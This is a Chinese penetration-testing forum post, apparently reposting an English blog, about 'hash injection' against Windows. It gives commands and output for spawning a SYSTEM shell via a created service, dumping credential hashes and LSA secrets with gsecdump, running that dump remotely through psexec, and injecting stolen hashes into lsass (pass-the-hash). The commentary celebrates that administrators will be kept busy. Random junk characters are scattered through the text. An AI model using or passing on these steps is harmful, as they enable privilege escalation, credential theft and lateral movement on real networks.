中国网络渗透测试联盟

标题: HASH注入式攻击 [打印本页]

作者: admin    时间: 2012-11-6 21:09
标题: HASH注入式攻击
o get a DOS Prompt as NT system:- R# T8 j: E* o

5 O5 T6 ^! m! S6 P, mC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
$ R4 B" |/ {" O/ i5 ]1 t[SC] CreateService SUCCESS3 l/ c! Z% K7 P2 w  P- c1 ^
9 ^& Z4 @8 T8 o5 u
C:\>sc start shellcmdline8 s  R4 A2 |/ ]% ^
[SC] StartService FAILED 1053:7 U; x4 N/ R# u1 t

' h* v  i# M- K, d2 oThe service did not respond to the start or control request in a timely fashion.
5 c6 _: Q8 k7 Q: c
# N( ]( ?4 n' _5 u( |( W& qC:\>sc delete shellcmdline
& S9 |/ f& v5 e. E[SC] DeleteService SUCCESS
6 y9 J1 Y4 p) {
  E0 w2 U, v8 \: t- F4 I8 p------------
0 ?! I( ]0 g3 E9 J. ^: m6 c
  a: c, [9 x8 VThen in the new DOS window:- d9 E5 U- x5 [& f4 a7 Q
: P( `$ A2 d' S+ b% q# w5 ?
Microsoft Windows XP [Version 5.1.2600]
& a/ P$ q; j' Y: ]. c: V(C) Copyright 1985-2001 Microsoft Corp.' o! z' m+ c$ b
* D5 \3 x6 n8 h; }0 r' G
C:\WINDOWS\system32>whoami3 z' A) }) r; T( t9 v5 N# V
NT AUTHORITY\SYSTEM$ f, C% a8 B7 d* C5 y

! x0 S, H" y7 h6 H4 h* {# |: k% U6 DC:\WINDOWS\system32>gsecdump -h
) Y9 Y' x* \' A* g. e- Mgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)( C1 Q  h; t! S+ o$ f- e/ u! @* q
usage: gsecdump [options]
8 c* o. T4 J/ l* I  V
, _; f, q- p% Q4 f. }& r( y" Hoptions:$ D$ G+ f% t# Q. V3 W
-h [ --help ] show help
6 o4 t" |+ ^: l0 `9 D0 i! g-a [ --dump_all ] dump all secrets2 C" B# p& }; t1 H9 D8 Q% J0 n4 B. c, O
-l [ --dump_lsa ] dump lsa secrets
( @4 B  n( Y, M6 A& y4 B0 e" W: o4 I-w [ --dump_wireless ] dump microsoft wireless connections. P" Y; D9 R; ^2 \3 C; S
-u [ --dump_usedhashes ] dump hashes from active logon sessions- \( i& {  i% x7 w  N( x/ Y1 N# t
-s [ --dump_hashes ] dump hashes from SAM/AD
" V* M0 t. i+ G$ u
6 c6 t/ b8 Y5 w; vAlthough I like to use:- H7 T5 _; ?" J

# U" D* V& l+ X& Y0 kPsExec v1.83 - Execute processes remotely
5 w) @! f6 i  `- rCopyright (C) 2001-2007 Mark Russinovich
, {4 Z4 `/ j- \/ H# e; |( K" lSysinternals - 链接标记[url]www.sysinternals.com[/url]/ x1 G6 B  H  C" N) z4 |

$ Z- U8 f' N4 x8 F2 l! E2 hC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
7 P, y9 m7 K+ ^2 Y
; `" w0 e, J; y9 c3 d8 Rto get the hashes from active logon sessions of a remote system.
( n4 Z; Y+ K1 i/ q: z8 L- S
2 L+ h; Q) u3 C7 kThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
/ R, [4 V5 Q3 j! a5 j' F! B1 Z9 l* K) p  y; v8 w- E0 r% p1 x
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
/ L3 `% T3 J) H1 P. d原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]  O' O1 Q; M$ Z

& W  m( ^. ?) \# K% ^* V  a我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
& J5 _3 M1 P/ G, w0 u+ r6 I




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2